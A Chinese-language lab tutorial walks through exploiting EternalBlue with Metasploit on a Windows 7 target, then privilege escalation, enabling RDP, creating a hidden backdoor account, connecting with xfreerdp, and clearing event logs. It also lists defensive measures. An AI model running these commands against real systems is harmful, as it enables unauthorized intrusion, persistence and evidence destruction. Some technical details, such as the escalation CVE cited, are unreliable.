Kali渗透实战：从永恒之蓝漏洞到图形化桌面连接靶机全流程解析

在网络安全学习和CTF竞赛中，掌握从漏洞利用到系统控制的完整链条是每个初学者的必修课。本文将详细演示如何从永恒之蓝漏洞获取初始权限，逐步提权并建立图形化远程连接的全过程。不同于纯命令行操作，图形化界面能显著降低文件搜索、系统配置等操作的难度，特别适合刚入门的安全爱好者。

1. 环境准备与漏洞利用基础

1.1 靶场环境搭建

典型的实验环境需要两台虚拟机：

• 攻击机：Kali Linux（建议2023.3以上版本）
• 靶机：Windows 7 SP1（未打MS17-010补丁）

网络配置需确保两台机器处于同一局域网段。可通过以下命令验证连通性：

ping -c 4 192.168.25.132 # 假设靶机IP为192.168.25.132

1.2 永恒之蓝漏洞原理

MS17-010漏洞存在于Windows的SMBv1协议实现中，攻击者通过特制数据包可触发内存越界写入，最终实现远程代码执行。Metasploit框架提供了现成的利用模块：

msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.25.132 exploit

注意：实际操作中可能需要根据目标系统架构选择payload（如x86/x64）

2. 后渗透阶段关键操作

2.1 权限确认与提升

成功获取shell后，首先需要确认当前权限级别：

whoami /all

若显示为普通用户（如NT AUTHORITY\NETWORK SERVICE），需进行权限提升。常用方法包括：

• 利用getsystem命令（Metasploit内置）
• 执行本地提权EXP（如CVE-2021-36934）

2.2 开启远程桌面服务

Windows远程桌面服务默认监听3389/TCP端口。开启服务的两种可靠方法：

方法一：通过WMI命令

wmic /namespace:\\root\cimv2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1

方法二：修改注册表

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

验证端口是否成功开启：

netstat -ano | findstr 3389

3. 用户管理与连接准备

3.1 创建隐蔽账户

标准账户创建命令容易被安全软件检测，建议使用以下技巧：

net user backup$ Pa$$w0rd! /add /expires:never net localgroup "Remote Desktop Users" backup$ /add

关键点：

• 用户名以$结尾可避免在控制面板显示
• 密码需符合复杂性要求
• 仅添加到必要用户组

3.2 防火墙规则处理

确保防火墙放行RDP流量：

netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389

4. 图形化连接实战

4.1 xfreerdp高级用法

Kali自带的xfreerdp支持多种实用参数：

xfreerdp /v:192.168.25.132 /u:backup$ /p:'Pa$$w0rd!' \ /size:1920x1080 /bpp:32 +clipboard /dynamic-resolution

参数解析：

• /bpp：设置颜色深度（建议32位）
• +clipboard：启用剪贴板共享
• /dynamic-resolution：支持窗口大小动态调整

4.2 安全加固建议

在真实环境中操作时需注意：

1. 使用VPN或专用通道替代直接暴露RDP
2. 启用网络级认证（NLA）
3. 限制可连接IP地址范围
4. 配置账户锁定策略

# 查看RDP连接日志（Kali端） tail -f /var/log/xfreerdp.log

5. 痕迹清理与防御对策

5.1 日志清除技巧

# 清除安全日志 wevtutil cl Security # 清除系统日志 wevtutil cl System

5.2 防御方案

企业环境应部署以下防护措施：

• 及时安装SMB协议相关补丁
• 启用Windows Defender攻击面减少规则
• 配置SIEM系统监控异常RDP连接
• 实施多因素认证（MFA）

实际渗透测试中，图形化操作虽然便捷，但会产生大量日志和网络流量。建议仅在必要时使用，并做好充分的隐蔽措施。技术是把双刃剑，所有操作都应在合法授权范围内进行。